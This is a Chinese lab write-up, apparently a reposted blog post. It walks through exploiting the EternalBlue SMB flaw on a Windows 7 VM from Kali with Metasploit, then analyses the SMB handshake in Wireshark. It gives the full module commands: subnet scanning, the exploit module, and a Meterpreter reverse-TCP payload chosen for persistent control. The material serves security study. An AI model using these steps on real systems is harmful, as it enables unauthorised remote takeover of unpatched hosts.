SMB协议——永恒之蓝漏洞利用

SMB — 永恒之蓝漏洞利用

1、实验环境:

攻击机:kali         IP:192.168.247.158

被攻击机:Win 7     IP:192.168.247.150

2、实验步骤:

被攻击机Win 7:

在被攻击机Win 7中开启SMB1,HKEY_LOCAL_MACHINE —> SYSTEM —> CurrentControlSet —> services —> LanmanServer —> Parameters,新建一个DWORD,并将其命名为SMB1,修改它的值为1

攻击机:

2.1、在kali上切换目录cd  /usr/share/metasploit-framework/modules/auxiliary/scanner/smb,可以看到ms17_010的漏洞

2.2、连接postgresql数据库,不连接的话扫描的信息的信息无法入库。

启动数据库:service postgresql start

初始化数据库:msfdb init

启动msfconsole:msfconsole

2.3、使用db_status确认数据库是否正确连接。

2.4、运行smb模块探测主机445端口开放情况。

use auxiliary/scanner/smb/smb_ms17_010

2.5、使用smb_ms17_010模块进行网段扫描

set rhosts 192.168.247.0/24     #设置扫描的网段

set threads 16                              #设置开启的线程的数量

run                                               #扫描

2.6、扫描完成后,扫描的信息会自动存入数据库,可通过hosts命令查看

2.7、使用攻击模块

use exploits/windows/smb/ms17_010_eternalblue        # exploits渗透攻击模块

set payload windows/x64/meterpreter/reverse_tcp       # payload攻击载荷模块,为了以后可以持久化控制目标

set rhost 192.168.247.150                                            #设置被攻击机的IP

set lhost 192.168.247.158                                            #设置本机的IP

2.8、在开始攻击之前,打开Wireshark进行抓包。攻击结果如下:

2.9、sysinfo                   #显示被攻击者计算机的信息

3、抓包分析

1、首先客户端发送一个SMB Negotiate Protocol Request请求数据报,并列出它所支持的所有SMB协议版本。(正常共享的话,客户端会列出好几个它支持的版本,如果是攻击的话,会故意拉低版本,版本越低,安全性越差)

2、服务器收到请求信息后响应请求,并列出希望使用的协议版本。如果没有可使用的协议版本则返回0XFFFFH,结束通信。

3、协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送Session Setup AndX请求数据报实现的。客户端发送一对用户名和密码或一个简单密码到服务器。

4、服务器通过发送一个Session Setup AndX应答数据报来允许或拒绝本次连接。

5、当客户端和服务器完成了磋商和认证之后,它会发送一个Tree Connect AndX或TconX SMB数据报并列出它想访问网络资源的名称

6、之后服务器会发送一个Tree Connect AndX应答数据报以表示此次连接是否被接受或拒绝。

7、连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

猜你喜欢

转载自blog.csdn.net/weixin_43625577/article/details/88257495